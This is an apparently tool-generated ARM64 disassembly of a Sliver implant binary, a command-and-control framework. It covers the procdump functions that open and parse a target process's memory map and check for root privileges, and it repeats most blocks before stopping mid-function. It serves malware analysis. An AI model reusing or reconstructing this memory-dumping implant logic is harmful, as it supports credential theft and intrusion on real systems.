File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
Loading..
00428020
00428020github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap: ; void github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap(int32 pid)
00428020ldr x16, [x28+16]
00428024sub x17, sp, 384
00428028subs xzr, x17, x16
0042802cb.ls 0x428534
00428030sub x20, sp, 512
00428034stp x29, x30, [x20-8]
00428038add sp, x20, 0
0042803csub x29, sp, 8
00428040str w0, [sp+520]
00428044str xzr, [sp+192]
00428048stp xzr, xzr, [sp+200]
0042804cstr xzr, [sp+96]
00428050stp xzr, xzr, [sp+176]
00428054ldrsw x2, [sp+520]
00428058mov x0, x2
0042805cmovz x1, 10
00428060bl strconv.FormatInt
00428064str x0, [sp+424]
00428068str x1, [sp+432]
0042806cstr xzr, [sp+416]
00428070stp xzr, xzr, [sp+400]
00428074ldr x3, [sp+424]
00428078ldr x4, [sp+432]
0042807cmov x0, xzr
00428080adrp x1, 0x288000
00428084add x1, x1, 2737
00428088orr x2, xzr, 6
0042808cadrp x5, 0x288000
00428090add x5, x5, 1942
00428094movz x6, 5
00428098bl runtime.concatstring3
0042809cstr x0, [sp+384]
004280a0str x1, [sp+392]
004280a4bl os.Open
004280a8str x0, [sp+416]
004280acstr x1, [sp+400]
004280b0str x2, [sp+408]
004280b4ldr x2, [sp+416]
004280b8str x2, [sp+320]
004280bcldr x2, [sp+400]
004280c0ldr x3, [sp+408]
004280c4str x2, [sp+304]
004280c8str x3, [sp+312]
004280ccldr x2, [sp+320]
004280d0str x2, [sp+224]
004280d4ldr x2, [sp+312]
004280d8ldr x3, [sp+304]
004280dcstr x3, [sp+248]
004280e0str x2, [sp+256]
004280e4cbnz x3, 0x4280ec
004280e8b 0x428154
004280ec
004280ecloc_4280ec:
004280ecadrp x0, 0x29c000
004280f0add x0, x0, 3766
004280f4movz x1, 41
004280f8mov x2, xzr
004280fcmov x3, xzr
00428100mov x4, x3
00428104bl fmt.Errorf
00428108str x0, [sp+400]
0042810cstr x1, [sp+408]
00428110str xzr, [sp+192]
00428114stp xzr, xzr, [sp+200]
00428118str xzr, [sp+96]
0042811cldr x5, [sp+400]
00428120ldr x6, [sp+408]
00428124str x5, [sp+176]
00428128str x6, [sp+184]
0042812cbl runtime.deferreturn
00428130ldr x3, [sp+96]
00428134ldr x4, [sp+176]
00428138ldr x0, [sp+192]
0042813cldr x1, [sp+200]
00428140ldr x5, [sp+184]
00428144ldr x2, [sp+208]
00428148ldp x29, x30, [sp-8]
0042814cadd sp, sp, 512
00428150ret x30
00428154
00428154loc_428154:
00428154ldr x1, [sp+224]
00428158str x1, [sp+296]
0042815cstp xzr, xzr, [sp+360]
00428160add x1, sp, 360
00428164str x1, [sp+376]
00428168ldrsb x27, [x1]
0042816cadrp x2, 0
00428170add x2, x2, 1360
00428174str x2, [x1]
00428178ldrsb x27, [x1]
0042817cldr x2, [sp+296]
00428180adrp x27, 0x623000
00428184ldr w3, [x27+3056]
00428188cbz w3, 0x428190
0042818cb 0x428194
00428190
00428190loc_428190:
00428190b 0x4281a8
00428194
00428194loc_428194:
00428194bl runtime.gcWriteBarrier2
00428198str x2, [x25]
0042819cldr x3, [x1+8]
004281a0str x3, [x25+8]
004281a4b 0x4281a8
004281a8
004281a8loc_4281a8:
004281a8str x2, [x1+8]
004281acstr x1, [sp+136]
004281b0add x0, sp, 112
004281b4bl runtime.deferprocStack
004281b8subs xzr, x0, 0
004281bcb.ne 0x428250
004281c0b 0x4281c4
004281c4
004281c4loc_4281c4:
004281c4str xzr, [sp+104]
004281c8str xzr, [sp+264]
004281ccstp xzr, xzr, [sp+272]
004281d0ldr x1, [sp+224]
004281d4str x1, [sp+416]
004281d8adrp x0, 0x2eb000
004281dcadd x0, x0, 2456
004281e0bl bufio.NewReader
004281e4str x0, [sp+288]
004281e8stp xzr, xzr, [sp+424]
004281ecstp xzr, xzr, [sp+400]
004281f0ldr x0, [sp+288]
004281f4movz x1, 10
004281f8bl bufio.(*Reader).ReadString
004281fcstr x0, [sp+424]
00428200str x1, [sp+432]
00428204str x2, [sp+400]
00428208str x3, [sp+408]
0042820cldr x2, [sp+424]
00428210ldr x3, [sp+432]
00428214str x2, [sp+488]
00428218str x3, [sp+496]
0042821cldr x2, [sp+400]
00428220ldr x3, [sp+408]
00428224str x2, [sp+472]
00428228str x3, [sp+480]
0042822cldr x2, [sp+488]
00428230ldr x3, [sp+496]
00428234str x2, [sp+232]
00428238str x3, [sp+240]
0042823cldr x2, [sp+472]
00428240ldr x3, [sp+480]
00428244str x2, [sp+248]
00428248str x3, [sp+256]
0042824cb 0x428278
00428250
00428250loc_428250:
00428250bl runtime.deferreturn
00428254ldr x3, [sp+96]
00428258ldr x4, [sp+176]
0042825cldr x0, [sp+192]
00428260ldr x1, [sp+200]
00428264ldr x5, [sp+184]
00428268ldr x2, [sp+208]
0042826cldp x29, x30, [sp-8]
00428270add sp, sp, 512
00428274ret x30
00428278
00428278loc_428278:
00428278ldr x5, [sp+248]
0042827ccbz x5, 0x428284
00428280b 0x4283ec
00428284
00428284loc_428284:
00428284ldr x0, [sp+232]
00428288ldr x1, [sp+240]
0042828cbl strings.TrimSpace
00428290str x0, [sp+424]
00428294str x1, [sp+432]
00428298bl github.com/bishopfox/sliver/implant/sliver/procdump.parseMap
0042829cstr x0, [sp+216]
004282a0subs xzr, x0, 0
004282a4cset x2, ne
004282a8strb w2, [sp+95]
004282accbnz x0, 0x4282b4
004282b0b 0x4282cc
004282b4
004282b4loc_4282b4:
004282b4ldr x5, [sp+216]
004282b8ldrsb x27, [x5]
004282bcldrb w5, [x5+16]
004282c0eor x5, x5, 1
004282c4strb w5, [sp+95]
004282c8b 0x4282d0
004282cc
004282ccloc_4282cc:
004282ccb 0x4282d0
004282d0
004282d0loc_4282d0:
004282d0ldrb w5, [sp+95]
004282d4tbnz w5, 0, 0x4282dc
004282d8b 0x42837c
004282dc
004282dcloc_4282dc:
004282dcldr x2, [sp+280]
004282e0ldr x0, [sp+264]
004282e4ldr x5, [sp+272]
004282e8add x1, x5, 1
004282ecsubs xzr, x2, x1
004282f0b.hs 0x4282f8
004282f4b 0x4282fc
004282f8
004282f8loc_4282f8:
004282f8b 0x428310
004282fc
004282fcloc_4282fc:
004282fcorr x3, xzr, 1
00428300adrp x4, 0x1bf000
00428304add x4, x4, 1472
00428308bl runtime.growslice
0042830cb 0x428310
00428310
00428310loc_428310:
00428310ldr x3, [sp+216]
00428314sub x4, x1, 1
00428318adrp x27, 0x623000
0042831cldr w5, [x27+3056]
00428320cbz w5, 0x428328
00428324b 0x42832c
00428328
00428328loc_428328:
00428328b 0x428340
0042832c
0042832cloc_42832c:
0042832cbl runtime.gcWriteBarrier2
00428330str x3, [x25]
00428334ldr x5, [x0+3*x4]
00428338str x5, [x25+8]
0042833cb 0x428340
00428340
00428340loc_428340:
00428340str x3, [x0+3*x4]
00428344str x0, [sp+264]
00428348str x1, [sp+272]
0042834cstr x2, [sp+280]
00428350ldr x2, [sp+104]
00428354ldr x3, [sp+216]
00428358ldrsb x27, [x3]
0042835cldr x3, [x3+8]
00428360ldr x4, [sp+216]
00428364ldrsb x27, [x4]
00428368ldr x4, [x4]
0042836csub x3, x3, x4
00428370add x2, x2, x3
00428374str x2, [sp+104]
00428378b 0x428380
0042837c
0042837cloc_42837c:
0042837cb 0x428380
00428380
00428380loc_428380:
00428380stp xzr, xzr, [sp+424]
00428384stp xzr, xzr, [sp+400]
00428388ldr x0, [sp+288]
0042838cmovz x1, 10
00428390bl bufio.(*Reader).ReadString
00428394str x0, [sp+424]
00428398str x1, [sp+432]
0042839cstr x2, [sp+400]
004283a0str x3, [sp+408]
004283a4ldr x2, [sp+424]
004283a8ldr x3, [sp+432]
004283acstr x2, [sp+456]
004283b0str x3, [sp+464]
004283b4ldr x2, [sp+400]
004283b8ldr x3, [sp+408]
004283bcstr x2, [sp+440]
004283c0str x3, [sp+448]
004283c4ldr x2, [sp+456]
004283c8ldr x3, [sp+464]
004283ccstr x2, [sp+232]
004283d0str x3, [sp+240]
004283d4ldr x2, [sp+440]
004283d8ldr x3, [sp+448]
004283dcstr x2, [sp+248]
004283e0str x3, [sp+256]
004283e4b 0x4283e8
004283e8
004283e8loc_4283e8:
004283e8b 0x428278
004283ec
004283ecloc_4283ec:
004283ecldr x5, [sp+248]
004283f0subs xzr, x5, 0
004283f4cset x6, ne
004283f8strb w6, [sp+95]
004283fccbnz x5, 0x428404
00428400b 0x428448
00428404
00428404loc_428404:
00428404ldr x5, [sp+248]
00428408adrp x27, 0x5f9000
0042840cldr x6, [x27+1520]
00428410subs xzr, x6, x5
00428414cset x5, ne
00428418b.ne 0x428420
0042841cb 0x428424
00428420
00428420loc_428420:
00428420b 0x428440
00428424
00428424loc_428424:
00428424ldr x0, [sp+248]
00428428ldr x1, [sp+256]
0042842cadrp x27, 0x5f9000
00428430ldr x2, [x27+1528]
00428434bl runtime.ifaceeq
00428438eor x5, x0, 1
0042843cb 0x428440
00428440
00428440loc_428440:
00428440strb w5, [sp+95]
00428444b 0x42844c
00428448
00428448loc_428448:
00428448b 0x42844c
0042844c
0042844cloc_42844c:
0042844cldrb w5, [sp+95]
00428450tbnz w5, 0, 0x428458
00428454b 0x4284d0
00428458
00428458loc_428458:
00428458adrp x0, 0x29e000
0042845cadd x0, x0, 3591
00428460movz x1, 45
00428464mov x2, xzr
00428468mov x3, xzr
0042846cmov x4, x3
00428470bl fmt.Errorf
00428474str x0, [sp+400]
00428478str x1, [sp+408]
0042847cstr xzr, [sp+168]
00428480str x0, [sp+344]
00428484str x1, [sp+352]
00428488str xzr, [sp+192]
0042848cstp xzr, xzr, [sp+200]
00428490ldr x5, [sp+168]
00428494str x5, [sp+96]
00428498ldr x5, [sp+344]
0042849cldr x6, [sp+352]
004284a0str x5, [sp+176]
004284a4str x6, [sp+184]
004284a8bl runtime.deferreturn
004284acldr x3, [sp+96]
004284b0ldr x4, [sp+176]
004284b4ldr x0, [sp+192]
004284b8ldr x1, [sp+200]
004284bcldr x5, [sp+184]
004284c0ldr x2, [sp+208]
004284c4ldp x29, x30, [sp-8]
004284c8add sp, sp, 512
004284ccret x30
004284d0
004284d0loc_4284d0:
004284d0ldr x0, [sp+104]
004284d4str x0, [sp+160]
004284d8stp xzr, xzr, [sp+328]
004284dcldr x0, [sp+264]
004284e0ldr x1, [sp+272]
004284e4ldr x2, [sp+280]
004284e8str x0, [sp+192]
004284ecstr x1, [sp+200]
004284f0str x2, [sp+208]
004284f4ldr x0, [sp+160]
004284f8str x0, [sp+96]
004284fcldr x0, [sp+328]
00428500ldr x1, [sp+336]
00428504str x0, [sp+176]
00428508str x1, [sp+184]
0042850cbl runtime.deferreturn
00428510ldr x3, [sp+96]
00428514ldr x4, [sp+176]
00428518ldr x0, [sp+192]
0042851cldr x1, [sp+200]
00428520ldr x5, [sp+184]
00428524ldr x2, [sp+208]
00428528ldp x29, x30, [sp-8]
0042852cadd sp, sp, 512
00428530ret x30
00428534
00428534loc_428534:
00428534str w0, [sp+8]
00428538mov x3, x30
0042853cbl runtime.morestack_noctxt.abi0
00428540ldrsw x0, [sp+8]
00428544b 0x428020
00428548udf 0
0042854cudf 0
00428020
00428020github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap: ; void github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap(int32 pid)
00428020ldr x16, [x28+16]
00428024sub x17, sp, 384
00428028subs xzr, x17, x16
0042802cb.ls 0x428534
00428030sub x20, sp, 512
00428034stp x29, x30, [x20-8]
00428038add sp, x20, 0
0042803csub x29, sp, 8
00428040str w0, [sp+520]
00428044str xzr, [sp+192]
00428048stp xzr, xzr, [sp+200]
0042804cstr xzr, [sp+96]
00428050stp xzr, xzr, [sp+176]
00428054ldrsw x2, [sp+520]
00428058mov x0, x2
0042805cmovz x1, 10
00428060bl strconv.FormatInt
00428064str x0, [sp+424]
00428068str x1, [sp+432]
0042806cstr xzr, [sp+416]
00428070stp xzr, xzr, [sp+400]
00428074ldr x3, [sp+424]
00428078ldr x4, [sp+432]
0042807cmov x0, xzr
00428080adrp x1, 0x288000
00428084add x1, x1, 2737
00428088orr x2, xzr, 6
0042808cadrp x5, 0x288000
00428090add x5, x5, 1942
00428094movz x6, 5
00428098bl runtime.concatstring3
0042809cstr x0, [sp+384]
004280a0str x1, [sp+392]
004280a4bl os.Open
004280a8str x0, [sp+416]
004280acstr x1, [sp+400]
004280b0str x2, [sp+408]
004280b4ldr x2, [sp+416]
004280b8str x2, [sp+320]
004280bcldr x2, [sp+400]
004280c0ldr x3, [sp+408]
004280c4str x2, [sp+304]
004280c8str x3, [sp+312]
004280ccldr x2, [sp+320]
004280d0str x2, [sp+224]
004280d4ldr x2, [sp+312]
004280d8ldr x3, [sp+304]
004280dcstr x3, [sp+248]
004280e0str x2, [sp+256]
004280e4cbnz x3, 0x4280ec
004280e8b 0x428154
004280ec
004280ecloc_4280ec:
004280ecadrp x0, 0x29c000
004280f0add x0, x0, 3766
004280f4movz x1, 41
004280f8mov x2, xzr
004280fcmov x3, xzr
00428100mov x4, x3
00428104bl fmt.Errorf
00428108str x0, [sp+400]
0042810cstr x1, [sp+408]
00428110str xzr, [sp+192]
00428114stp xzr, xzr, [sp+200]
00428118str xzr, [sp+96]
0042811cldr x5, [sp+400]
00428120ldr x6, [sp+408]
00428124str x5, [sp+176]
00428128str x6, [sp+184]
0042812cbl runtime.deferreturn
00428130ldr x3, [sp+96]
00428134ldr x4, [sp+176]
00428138ldr x0, [sp+192]
0042813cldr x1, [sp+200]
00428140ldr x5, [sp+184]
00428144ldr x2, [sp+208]
00428148ldp x29, x30, [sp-8]
0042814cadd sp, sp, 512
00428150ret x30
00428154
00428154loc_428154:
00428154ldr x1, [sp+224]
00428158str x1, [sp+296]
0042815cstp xzr, xzr, [sp+360]
00428160add x1, sp, 360
00428164str x1, [sp+376]
00428168ldrsb x27, [x1]
0042816cadrp x2, 0
00428170add x2, x2, 1360
00428174str x2, [x1]
00428178ldrsb x27, [x1]
0042817cldr x2, [sp+296]
00428180adrp x27, 0x623000
00428184ldr w3, [x27+3056]
00428188cbz w3, 0x428190
0042818cb 0x428194
00428190
00428190loc_428190:
00428190b 0x4281a8
00428194
00428194loc_428194:
00428194bl runtime.gcWriteBarrier2
00428198str x2, [x25]
0042819cldr x3, [x1+8]
004281a0str x3, [x25+8]
004281a4b 0x4281a8
004281a8
004281a8loc_4281a8:
004281a8str x2, [x1+8]
004281acstr x1, [sp+136]
004281b0add x0, sp, 112
004281b4bl runtime.deferprocStack
004281b8subs xzr, x0, 0
004281bcb.ne 0x428250
004281c0b 0x4281c4
004281c4
004281c4loc_4281c4:
004281c4str xzr, [sp+104]
004281c8str xzr, [sp+264]
004281ccstp xzr, xzr, [sp+272]
004281d0ldr x1, [sp+224]
004281d4str x1, [sp+416]
004281d8adrp x0, 0x2eb000
004281dcadd x0, x0, 2456
004281e0bl bufio.NewReader
004281e4str x0, [sp+288]
004281e8stp xzr, xzr, [sp+424]
004281ecstp xzr, xzr, [sp+400]
004281f0ldr x0, [sp+288]
004281f4movz x1, 10
004281f8bl bufio.(*Reader).ReadString
004281fcstr x0, [sp+424]
00428200str x1, [sp+432]
00428204str x2, [sp+400]
00428208str x3, [sp+408]
0042820cldr x2, [sp+424]
00428210ldr x3, [sp+432]
00428214str x2, [sp+488]
00428218str x3, [sp+496]
0042821cldr x2, [sp+400]
00428220ldr x3, [sp+408]
00428224str x2, [sp+472]
00428228str x3, [sp+480]
0042822cldr x2, [sp+488]
00428230ldr x3, [sp+496]
00428234str x2, [sp+232]
00428238str x3, [sp+240]
0042823cldr x2, [sp+472]
00428240ldr x3, [sp+480]
00428244str x2, [sp+248]
00428248str x3, [sp+256]
0042824cb 0x428278
00428250
00428250loc_428250:
00428250bl runtime.deferreturn
00428254ldr x3, [sp+96]
00428258ldr x4, [sp+176]
0042825cldr x0, [sp+192]
00428260ldr x1, [sp+200]
00428264ldr x5, [sp+184]
00428268ldr x2, [sp+208]
0042826cldp x29, x30, [sp-8]
00428270add sp, sp, 512
00428274ret x30
00428278
00428278loc_428278:
00428278ldr x5, [sp+248]
0042827ccbz x5, 0x428284
00428280b 0x4283ec
00428284
00428284loc_428284:
00428284ldr x0, [sp+232]
00428288ldr x1, [sp+240]
0042828cbl strings.TrimSpace
00428290str x0, [sp+424]
00428294str x1, [sp+432]
00428298bl github.com/bishopfox/sliver/implant/sliver/procdump.parseMap
0042829cstr x0, [sp+216]
004282a0subs xzr, x0, 0
004282a4cset x2, ne
004282a8strb w2, [sp+95]
004282accbnz x0, 0x4282b4
004282b0b 0x4282cc
004282b4
004282b4loc_4282b4:
004282b4ldr x5, [sp+216]
004282b8ldrsb x27, [x5]
004282bcldrb w5, [x5+16]
004282c0eor x5, x5, 1
004282c4strb w5, [sp+95]
004282c8b 0x4282d0
004282cc
004282ccloc_4282cc:
004282ccb 0x4282d0
004282d0
004282d0loc_4282d0:
004282d0ldrb w5, [sp+95]
004282d4tbnz w5, 0, 0x4282dc
004282d8b 0x42837c
004282dc
004282dcloc_4282dc:
004282dcldr x2, [sp+280]
004282e0ldr x0, [sp+264]
004282e4ldr x5, [sp+272]
004282e8add x1, x5, 1
004282ecsubs xzr, x2, x1
004282f0b.hs 0x4282f8
004282f4b 0x4282fc
004282f8
004282f8loc_4282f8:
004282f8b 0x428310
004282fc
004282fcloc_4282fc:
004282fcorr x3, xzr, 1
00428300adrp x4, 0x1bf000
00428304add x4, x4, 1472
00428308bl runtime.growslice
0042830cb 0x428310
00428310
00428310loc_428310:
00428310ldr x3, [sp+216]
00428314sub x4, x1, 1
00428318adrp x27, 0x623000
0042831cldr w5, [x27+3056]
00428320cbz w5, 0x428328
00428324b 0x42832c
00428328
00428328loc_428328:
00428328b 0x428340
0042832c
0042832cloc_42832c:
0042832cbl runtime.gcWriteBarrier2
00428330str x3, [x25]
00428334ldr x5, [x0+3*x4]
00428338str x5, [x25+8]
0042833cb 0x428340
00428340
00428340loc_428340:
00428340str x3, [x0+3*x4]
00428344str x0, [sp+264]
00428348str x1, [sp+272]
0042834cstr x2, [sp+280]
00428350ldr x2, [sp+104]
00428354ldr x3, [sp+216]
00428358ldrsb x27, [x3]
0042835cldr x3, [x3+8]
00428360ldr x4, [sp+216]
00428364ldrsb x27, [x4]
00428368ldr x4, [x4]
0042836csub x3, x3, x4
00428370add x2, x2, x3
00428374str x2, [sp+104]
00428378b 0x428380
0042837c
0042837cloc_42837c:
0042837cb 0x428380
00428380
00428380loc_428380:
00428380stp xzr, xzr, [sp+424]
00428384stp xzr, xzr, [sp+400]
00428388ldr x0, [sp+288]
0042838cmovz x1, 10
00428390bl bufio.(*Reader).ReadString
00428394str x0, [sp+424]
00428398str x1, [sp+432]
0042839cstr x2, [sp+400]
004283a0str x3, [sp+408]
004283a4ldr x2, [sp+424]
004283a8ldr x3, [sp+432]
004283acstr x2, [sp+456]
004283b0str x3, [sp+464]
004283b4ldr x2, [sp+400]
004283b8ldr x3, [sp+408]
004283bcstr x2, [sp+440]
004283c0str x3, [sp+448]
004283c4ldr x2, [sp+456]
004283c8ldr x3, [sp+464]
004283ccstr x2, [sp+232]
004283d0str x3, [sp+240]
004283d4ldr x2, [sp+440]
004283d8ldr x3, [sp+448]
004283dcstr x2, [sp+248]
004283e0str x3, [sp+256]
004283e4b 0x4283e8
004283e8
004283e8loc_4283e8:
004283e8b 0x428278
004283ec
004283ecloc_4283ec:
004283ecldr x5, [sp+248]
004283f0subs xzr, x5, 0
004283f4cset x6, ne
004283f8strb w6, [sp+95]
004283fccbnz x5, 0x428404
00428400b 0x428448
00428404
00428404loc_428404:
00428404ldr x5, [sp+248]
00428408adrp x27, 0x5f9000
0042840cldr x6, [x27+1520]
00428410subs xzr, x6, x5
00428414cset x5, ne
00428418b.ne 0x428420
0042841cb 0x428424
00428420
00428420loc_428420:
00428420b 0x428440
00428424
00428424loc_428424:
00428424ldr x0, [sp+248]
00428428ldr x1, [sp+256]
0042842cadrp x27, 0x5f9000
00428430ldr x2, [x27+1528]
00428434bl runtime.ifaceeq
00428438eor x5, x0, 1
0042843cb 0x428440
00428440
00428440loc_428440:
00428440strb w5, [sp+95]
00428444b 0x42844c
00428448
00428448loc_428448:
00428448b 0x42844c
0042844c
0042844cloc_42844c:
0042844cldrb w5, [sp+95]
00428450tbnz w5, 0, 0x428458
00428454b 0x4284d0
00428458
00428458loc_428458:
00428458adrp x0, 0x29e000
0042845cadd x0, x0, 3591
00428460movz x1, 45
00428464mov x2, xzr
00428468mov x3, xzr
0042846cmov x4, x3
00428470bl fmt.Errorf
00428474str x0, [sp+400]
00428478str x1, [sp+408]
0042847cstr xzr, [sp+168]
00428480str x0, [sp+344]
00428484str x1, [sp+352]
00428488str xzr, [sp+192]
0042848cstp xzr, xzr, [sp+200]
00428490ldr x5, [sp+168]
00428494str x5, [sp+96]
00428498ldr x5, [sp+344]
0042849cldr x6, [sp+352]
004284a0str x5, [sp+176]
004284a4str x6, [sp+184]
004284a8bl runtime.deferreturn
004284acldr x3, [sp+96]
004284b0ldr x4, [sp+176]
004284b4ldr x0, [sp+192]
004284b8ldr x1, [sp+200]
004284bcldr x5, [sp+184]
004284c0ldr x2, [sp+208]
004284c4ldp x29, x30, [sp-8]
004284c8add sp, sp, 512
004284ccret x30
004284d0
004284d0loc_4284d0:
004284d0ldr x0, [sp+104]
004284d4str x0, [sp+160]
004284d8stp xzr, xzr, [sp+328]
004284dcldr x0, [sp+264]
004284e0ldr x1, [sp+272]
004284e4ldr x2, [sp+280]
004284e8str x0, [sp+192]
004284ecstr x1, [sp+200]
004284f0str x2, [sp+208]
004284f4ldr x0, [sp+160]
004284f8str x0, [sp+96]
004284fcldr x0, [sp+328]
00428500ldr x1, [sp+336]
00428504str x0, [sp+176]
00428508str x1, [sp+184]
0042850cbl runtime.deferreturn
00428510ldr x3, [sp+96]
00428514ldr x4, [sp+176]
00428518ldr x0, [sp+192]
0042851cldr x1, [sp+200]
00428520ldr x5, [sp+184]
00428524ldr x2, [sp+208]
00428528ldp x29, x30, [sp-8]
0042852cadd sp, sp, 512
00428530ret x30
00428534
00428534loc_428534:
00428534str w0, [sp+8]
00428538mov x3, x30
0042853cbl runtime.morestack_noctxt.abi0
00428540ldrsw x0, [sp+8]
00428544b 0x428020
00428548udf 0
0042854cudf 0
00428020
00428550
00428550github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap.deferwrap1(void)
00428550ldr x16, [x28+16]
00428554subs xzr, sp, x16
00428558b.ls 0x428588
0042855cstr x30, [sp-32]!
00428560stur x29, [sp-8]
00428564sub x29, sp, 8
00428568ldr x16, [x28+32]
0042856ccbnz x16, 0x428594
00428570
00428570loc_428570:
00428570ldr x0, [x26+8]
00428574str x0, [sp+16]
00428578bl os.(*File).Close
0042857cldur x29, [sp-8]
00428580ldr x30, [sp], 32
00428584ret x30
00428588
00428588loc_428588:
00428588mov x3, x30
0042858cbl runtime.morestack.abi0
00428590b 0x428550
00428594
00428594loc_428594:
00428594ldr x17, [x16]
00428598add x20, sp, 40
0042859csubs xzr, x20, x17
004285a0b.ne 0x428570
004285a4add x20, sp, 8
004285a8str x20, [x16]
004285acb 0x428570
00428550
00428550github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap.deferwrap1(void)
00428550ldr x16, [x28+16]
00428554subs xzr, sp, x16
00428558b.ls 0x428588
0042855cstr x30, [sp-32]!
00428560stur x29, [sp-8]
00428564sub x29, sp, 8
00428568ldr x16, [x28+32]
0042856ccbnz x16, 0x428594
00428570
00428570loc_428570:
00428570ldr x0, [x26+8]
00428574str x0, [sp+16]
00428578bl os.(*File).Close
0042857cldur x29, [sp-8]
00428580ldr x30, [sp], 32
00428584ret x30
00428588
00428588loc_428588:
00428588mov x3, x30
0042858cbl runtime.morestack.abi0
00428590b 0x428550
00428594
00428594loc_428594:
00428594ldr x17, [x16]
00428598add x20, sp, 40
0042859csubs xzr, x20, x17
004285a0b.ne 0x428570
004285a4add x20, sp, 8
004285a8str x20, [x16]
004285acb 0x428570
00428550
004285b0
004285b0github.com/bishopfox/sliver/implant/sliver/procdump.checkPermissions: ; void github.com/bishopfox/sliver/implant/sliver/procdump.checkPermissions(void)
004285b0ldr x16, [x28+16]
004285b4sub x17, sp, 144
004285b8subs xzr, x17, x16
004285bcb.ls 0x4287a8
004285c0sub x20, sp, 272
004285c4stp x29, x30, [x20-8]
004285c8add sp, x20, 0
004285ccsub x29, sp, 8
004285d0strb wzr, [sp+55]
004285d4stp xzr, xzr, [sp+96]
004285d8bl os.Getuid
004285dcstr x0, [sp+88]
004285e0cbnz x0, 0x4285e8
004285e4b 0x428630
004285e8
004285e8loc_4285e8:
004285e8adrp x0, 0x2a0000
004285ecadd x0, x0, 1605
004285f0orr x1, xzr, 48
004285f4mov x2, xzr
004285f8mov x3, xzr
004285fcmov x4, x3
00428600bl fmt.Errorf
00428604str x0, [sp+192]
00428608str x1, [sp+200]
0042860cstrb wzr, [sp+55]
00428610ldr x1, [sp+192]
00428614ldr x2, [sp+200]
00428618str x1, [sp+96]
0042861cstr x2, [sp+104]
00428620ldrb w0, [sp+55]
00428624ldp x29, x30, [sp-8]
00428628add sp, sp, 272
0042862cret x30
00428630
00428630loc_428630:
00428630str xzr, [sp+168]
00428634stp xzr, xzr, [sp+176]
00428638stp xzr, xzr, [sp+192]
0042863cadrp x0, 0x298000
00428640add x0, x0, 505
00428644movz x1, 34
00428648bl os.ReadFile
0042864cstr x0, [sp+168]
00428650str x1, [sp+176]
00428654str x2, [sp+184]
00428658str x3, [sp+192]
0042865cstr x4, [sp+200]
00428660ldr x2, [sp+168]
00428664ldr x3, [sp+176]
00428668ldr x4, [sp+184]
0042866cstr x2, [sp+224]
00428670str x3, [sp+232]
00428674str x4, [sp+240]
00428678ldr x2, [sp+192]
0042867cldr x3, [sp+200]
00428680str x2, [sp+208]
00428684str x3, [sp+216]
00428688ldr x2, [sp+224]
0042868cldr x3, [sp+232]
00428690ldr x4, [sp+240]
00428694str x2, [sp+112]
00428698str x3, [sp+120]
0042869cstr x4, [sp+128]
004286a0ldr x2, [sp+216]
004286a4ldr x3, [sp+208]
004286a8str x3, [sp+136]
004286acstr x2, [sp+144]
004286b0cbnz x3, 0x4286b8
004286b4b 0x4286dc
004286b8
004286b8loc_4286b8:
004286b8orr x3, xzr, 1
004286bcstrb w3, [sp+55]
004286c0stp xzr, xzr, [sp+96]
004286c4ldrb w0, [sp+55]
004286c8mov x1, xzr
004286ccmov x2, xzr
004286d0ldp x29, x30, [sp-8]
004286d4add sp, sp, 272
004286d8ret x30
004286dc
004286dcloc_4286dc:
004286dcldr x1, [sp+112]
004286e0ldr x2, [sp+120]
004286e4add x0, sp, 56
004286e8bl runtime.slicebytetostring
004286ecstr x0, [sp+248]
004286f0str x1, [sp+256]
004286f4bl strings.TrimSpace
004286f8str x0, [sp+152]
004286fcstr x1, [sp+160]
00428700subs xzr, x1, 1
00428704b.eq 0x42870c
00428708b 0x428774
0042870c
0042870cloc_42870c:
0042870csubs xzr, x1, 0
00428710b.hi 0x428718
00428714b 0x42879c
00428718
00428718loc_428718:
00428718ldrb w5, [x0]
0042871csubs wzr, w5, 51
00428720b.eq 0x428728
00428724b 0x428770
00428728
00428728loc_428728:
00428728adrp x0, 0x295000
0042872cadd x0, x0, 3424
00428730orr x1, xzr, 31
00428734mov x2, xzr
00428738mov x3, xzr
0042873cmov x4, x3
00428740bl fmt.Errorf
00428744str x0, [sp+192]
00428748str x1, [sp+200]
0042874cstrb wzr, [sp+55]
00428750ldr x1, [sp+192]
00428754ldr x2, [sp+200]
00428758str x1, [sp+96]
0042875cstr x2, [sp+104]
00428760ldrb w0, [sp+55]
00428764ldp x29, x30, [sp-8]
00428768add sp, sp, 272
0042876cret x30
00428770
00428770loc_428770:
00428770b 0x428778
00428774
00428774loc_428774:
00428774b 0x428778
00428778
00428778loc_428778:
00428778orr x3, xzr, 1
0042877cstrb w3, [sp+55]
00428780stp xzr, xzr, [sp+96]
00428784ldrb w0, [sp+55]
00428788mov x1, xzr
0042878cmov x2, xzr
00428790ldp x29, x30, [sp-8]
00428794add sp, sp, 272
00428798ret x30
0042879c
0042879cloc_42879c:
0042879cmov x0, xzr
004287a0bl runtime.panicIndex
004287a4hint
004287a8
004287a8loc_4287a8:
004287a8mov x3, x30
004287acbl runtime.morestack_noctxt.abi0
004287b0b 0x4285b0
004287b4udf 0
004287b8udf 0
004287bcudf 0
004285b0
004285b0github.com/bishopfox/sliver/implant/sliver/procdump.checkPermissions: ; void github.com/bishopfox/sliver/implant/sliver/procdump.checkPermissions(void)
004285b0ldr x16, [x28+16]
004285b4sub x17, sp, 144
004285b8subs xzr, x17, x16
004285bcb.ls 0x4287a8
004285c0sub x20, sp, 272
004285c4stp x29, x30, [x20-8]
004285c8add sp, x20, 0
004285ccsub x29, sp, 8
004285d0strb wzr, [sp+55]
004285d4stp xzr, xzr, [sp+96]
004285d8bl os.Getuid
004285dcstr x0, [sp+88]
004285e0cbnz x0, 0x4285e8
004285e4b 0x428630
004285e8
004285e8loc_4285e8:
004285e8adrp x0, 0x2a0000
004285ecadd x0, x0, 1605
004285f0orr x1, xzr, 48
004285f4mov x2, xzr
004285f8mov x3, xzr
004285fcmov x4, x3
00428600bl fmt.Errorf
00428604str x0, [sp+192]
00428608str x1, [sp+200]
0042860cstrb wzr, [sp+55]
00428610ldr x1, [sp+192]
